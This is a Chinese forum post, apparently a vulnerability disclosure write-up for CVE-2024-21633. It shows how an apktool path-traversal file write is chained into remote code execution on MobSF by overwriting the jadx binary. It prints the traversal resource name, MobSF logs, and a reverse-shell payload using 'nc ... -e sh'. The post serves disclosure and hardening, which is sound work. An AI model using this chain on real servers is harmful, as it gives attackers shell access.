kitty 发表于 2024-2-1 11:00:06

CVE-2024-21633 MobSF 远程代码执行 RCE

本帖最后由 kitty 于 2024-2-1 10:59 编辑

我发现在 apktool 中写入了任意文件,并通过 github 安全咨询进行了报告。我知道许多项目依赖于 apktool,但在发布咨询和修复后,似乎没有多少项目注意到或关心它。我决定检查它对一些对它依赖的程序的影响和可利用性,然后开始使用 MobSF。

该漏洞允许我们在 "${decode target path}/res/" 的相对路径写入任何内容,最大的影响是获得 RCE。但有一个问题,写入的文件不是可执行文件。

在开始之前,我脑子里有两个想法:


[*]我们的目标可能是覆盖 .bashrc/.zshrc 等 shell 初始化文件,但这需要 "解码目标路径" 位于用户文件夹下,以便我们可以将其定位为:"../../.bashrc",或者我们需要知道(或暴力破解)用户名有一个像 "../../../../username/.bashrc" 这样的目标,这里的一个好处是应用程序可以有 0xFFFF (65536) 不同的原始资源名称,因为资源 ids 看起来像 0x7F0B1234 (1 字节包标识符通常为 0x7F,1 字节类型标识符,例如 raw、drawable,2 字节资源标识符)。在我们的例子中,如果假设 MobSF 在 docker 中运行,我们已经知道用户名 MobSF。但是,覆盖文件后,必须等待 shell 生成,这是无法保证的。
[*]创建一个 cronjob 来运行恶意脚本,要求应用程序具有 root 权限

但是,如果我们足够幸运拥有一个将文件权限更改为可执行文件的应用程序怎么办?然后更幸运的是让它运行起来?这一切都需要在执行 apktool 后发生。 MobSF 的情况正是如此。 MobSF 使用 jadx 作为其静态分析的一部分,它通过子进程调用 jadx,但在此之前它将 jadx 的权限更改为可执行文件。

分别调用 apktool、chmod 和 jadx 的日志摘录:

07/Jan/2024 20:44:16 - Getting AndroidManifest.xml from APK
07/Jan/2024 20:44:16 - Converting AXML to XML
07/Jan/2024 20:44:16 - executed command: /jdk-20.0.2/bin/java -jar -Djdk.util.zip.disableZip64ExtraFieldValidation=true /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/apktool_2.9.1.jar --match-original --frame-path /tmp -f -s d /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk -o /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/apktool_out
.
.
.
07/Jan/2024 20:44:20 - Decompiling to Java with jadx
07/Jan/2024 20:44:20 - executed command: chmod +x /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx
07/Jan/2024 20:44:20 - executed command: /home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx -ds /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/java_source/ -q -r --show-bad-code /home/mobsf/.MobSF/uploads/6cae29cb89b3aac3890c1d4d21fcc756/6cae29cb89b3aac3890c1d4d21fcc756.apk
我们将使用 jadx 作为目标,但需要 jadx 到 res 文件夹的相对路径。可以通过在 python 函数中使用 os.path.relpath() 来得到它。

资源库文件夹是 "/home/mobsf/.MobSF/uploads/680b420ade61b64ce7c024a2ed6bc94d/apktool_out/"

我们想要覆盖路径中的 jadx 二进制文件:"/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"

import os
jadx_path = "/home/mobsf/Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"
res_base_path = "/home/mobsf/.MobSF/uploads/680b420ade61b64ce7c024a2ed6bc94d/apktool_out/res"
os.path.relpath(jadx_path, res_base_path)
>>> '../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx'
有效负载将位于 res/raw/jadx 中

#!/bin/bash
nc host.docker.internal 9001 -e sh
资源名称将为 "../../../../Mobile-Security-Framework-MobSF/mobsf/StaticAnalyzer/tools/jadx/bin/jadx"



上传 apk 并等待 jadx 执行,将在 nc 监听器上获得一个 shell。



Bingo!



然后我通过电子邮件向 MobSF 团队报告了此问题,得到了及时回复,他们通过更新到较新的 apktool 版本修复了该问题,但使 jadx 可执行并随后运行它的行为仍然存在。我宁愿提前设置固定权限并保持目录不可写。

页: [1]
查看完整版本: CVE-2024-21633 MobSF 远程代码执行 RCE